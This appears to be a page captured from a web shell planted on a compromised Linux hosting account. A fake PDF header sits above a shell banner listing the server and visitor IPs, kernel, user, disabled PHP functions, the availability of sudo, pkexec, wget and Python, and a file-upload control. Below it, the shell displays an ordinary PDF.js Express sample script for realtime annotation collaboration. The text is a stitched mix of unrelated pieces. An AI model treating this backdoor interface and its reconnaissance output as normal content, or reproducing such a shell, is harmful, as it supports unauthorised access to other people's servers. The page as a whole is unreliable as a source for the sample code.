%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.217.172 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/www/pdfjs/samples/annotation/realtime-collaboration/ |
Upload File : |
// @link WebViewerInstance: https://www.pdftron.com/api/web/WebViewerInstance.html
// @link WebViewerInstance.openElements: https://www.pdftron.com/api/web/WebViewerInstance.html#openElements__anchor
// @link AnnotationManager: https://www.pdftron.com/api/web/Core.AnnotationManager.html
// @link AnnotationManager.importAnnotationCommand: https://www.pdftron.com/api/web/Core.AnnotationManager.html#importAnnotationCommand__anchor
// @link AnnotationManager.redrawAnnotation: https://www.pdftron.com/api/web/Core.AnnotationManager.html#redrawAnnotation__anchor
// @link AnnotationManager.setCurrentUser: https://www.pdftron.com/api/web/Core.AnnotationManager.html#setCurrentUser__anchor
// @link AnnotationManager.exportAnnotationCommand: https://www.pdftron.com/api/web/Core.AnnotationManager.html#exportAnnotationCommand__anchor
// @link AnnotationManager.getAnnotationbyId: https://www.pdftron.com/api/web/Core.AnnotationManager.html#getAnnotationById__anchor
// @link AnnotationManager.updateAnnotation: https://www.pdftron.com/api/web/Core.AnnotationManager.html#updateAnnotation__anchor
// @link AnnotationManager.setPermissionCheckCallback: https://www.pdftron.com/api/web/Core.AnnotationManager.html#setPermissionCheckCallback__anchor
const IDS = {
'https://pdftron.s3.amazonaws.com/downloads/pl/demo-annotated.pdf': 'foo-12',
'https://pdftron.s3.amazonaws.com/downloads/pl/report.docx': 'foo-13',
'https://pdftron.s3.amazonaws.com/downloads/pl/presentation.pptx': 'foo-14',
};
// eslint-disable-next-line no-undef
const server = new Server();
const initialDoc = 'https://pdftron.s3.amazonaws.com/downloads/pl/demo-annotated.pdf';
WebViewer(
{
path: '../../../lib',
initialDoc,
documentId: IDS[initialDoc],
},
document.getElementById('viewer')
).then(instance => {
samplesSetup(instance);
const { documentViewer, annotationManager } = instance.Core;
let authorId = null;
const urlInput = document.getElementById('url');
const copyButton = document.getElementById('copy');
instance.UI.openElements(['notesPanel']);
let hasSeenPopup = false;
if (window.location.origin === 'http://localhost:3000') {
const xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = () => {
if (xhttp.readyState === 4 && xhttp.status === 200) {
urlInput.value = `http://${xhttp.responseText}:3000/samples/annotation/realtime-collaboration/`;
}
};
xhttp.open('GET', '/ip', true);
xhttp.send();
} else {
urlInput.value = 'https://pdfjs.express/samples/annotation/realtime-collaboration/';
}
copyButton.onclick = () => {
urlInput.select();
document.execCommand('copy');
document.getSelection().empty();
};
documentViewer.addEventListener('documentLoaded', () => {
const documentId = documentViewer.getDocument().getDocumentId();
server.selectDocument(documentId);
const onAnnotationCreated = async data => {
// Import the annotation based on xfdf command
const annotations = await annotationManager.importAnnotationCommand(data.val().xfdf);
const annotation = annotations[0];
if (annotation) {
await annotation.resourcesLoaded();
// Set a custom field authorId to be used in client-side permission check
annotation.authorId = data.val().authorId;
annotationManager.redrawAnnotation(annotation);
// viewerInstance.fireEvent('updateAnnotationPermission', [annotation]); //TODO
}
};
const onAnnotationUpdated = async data => {
// Import the annotation based on xfdf command
const annotations = await annotationManager.importAnnotationCommand(data.val().xfdf);
const annotation = annotations[0];
if (annotation) {
await annotation.resourcesLoaded();
// Set a custom field authorId to be used in client-side permission check
annotation.authorId = data.val().authorId;
annotationManager.redrawAnnotation(annotation);
}
};
const onAnnotationDeleted = data => {
// data.key would return annotationId since our server method is designed as
// annotationsRef.child(annotationId).set(annotationData)
const command = `<delete><id>${data.key}</id></delete>`;
annotationManager.importAnnotationCommand(command);
};
const openReturningAuthorPopup = authorName => {
if (hasSeenPopup) {
return;
}
// The author name will be used for both WebViewer and annotations in PDF
annotationManager.setCurrentUser(authorName);
// Open popup for the returning author
window.alert(`Welcome back ${authorName}`);
hasSeenPopup = true;
};
const updateAuthor = authorName => {
// The author name will be used for both WebViewer and annotations in PDF
annotationManager.setCurrentUser(authorName);
// Create/update author information in the server
server.updateAuthor(authorId, { authorName });
};
const openNewAuthorPopup = () => {
// Open prompt for a new author
const name = window.prompt('Welcome! Tell us your name :)');
if (name) {
updateAuthor(name);
}
};
// Bind server-side authorization state change to a callback function
// The event is triggered in the beginning as well to check if author has already signed in
server.bind('onAuthStateChanged', user => {
// Author is logged in
if (user) {
// Using uid property from Firebase Database as an author id
// It is also used as a reference for server-side permission
authorId = user.uid;
// Check if author exists, and call appropriate callback functions
server.checkAuthor(authorId, openReturningAuthorPopup, openNewAuthorPopup);
// Bind server-side data events to callback functions
// When loaded for the first time, onAnnotationCreated event will be triggered for all database entries
server.bind('onAnnotationCreated', onAnnotationCreated);
server.bind('onAnnotationUpdated', onAnnotationUpdated);
server.bind('onAnnotationDeleted', onAnnotationDeleted);
} else {
// Author is not logged in
server.signInAnonymously();
}
});
});
// Bind annotation change events to a callback function
annotationManager.addEventListener('annotationChanged', async (annotations, type, info) => {
// info.imported is true by default for annotations from pdf and annotations added by importAnnotationCommand
if (info.imported) {
return;
}
const xfdf = await annotationManager.exportAnnotationCommand();
// Iterate through all annotations and call appropriate server methods
annotations.forEach(annotation => {
let parentAuthorId = null;
if (type === 'add') {
// In case of replies, add extra field for server-side permission to be granted to the
// parent annotation's author
if (annotation.InReplyTo) {
parentAuthorId = annotationManager.getAnnotationById(annotation.InReplyTo).authorId || 'default';
}
if (authorId) {
annotation.authorId = authorId;
}
server.createAnnotation(annotation.Id, {
authorId,
parentAuthorId,
xfdf,
});
} else if (type === 'modify') {
// In case of replies, add extra field for server-side permission to be granted to the
// parent annotation's author
if (annotation.InReplyTo) {
parentAuthorId = annotationManager.getAnnotationById(annotation.InReplyTo).authorId || 'default';
}
server.updateAnnotation(annotation.Id, {
authorId,
parentAuthorId,
xfdf,
});
} else if (type === 'delete') {
server.deleteAnnotation(annotation.Id);
}
});
});
// Overwrite client-side permission check method on the annotation manager
// The default was set to compare the authorName
// Instead of the authorName, we will compare authorId created from the server
annotationManager.setPermissionCheckCallback((author, annotation) => annotation.authorId === authorId);
document.getElementById('select').onchange = e => {
const documentId = IDS[e.target.value];
instance.UI.loadDocument(e.target.value, { documentId });
};
});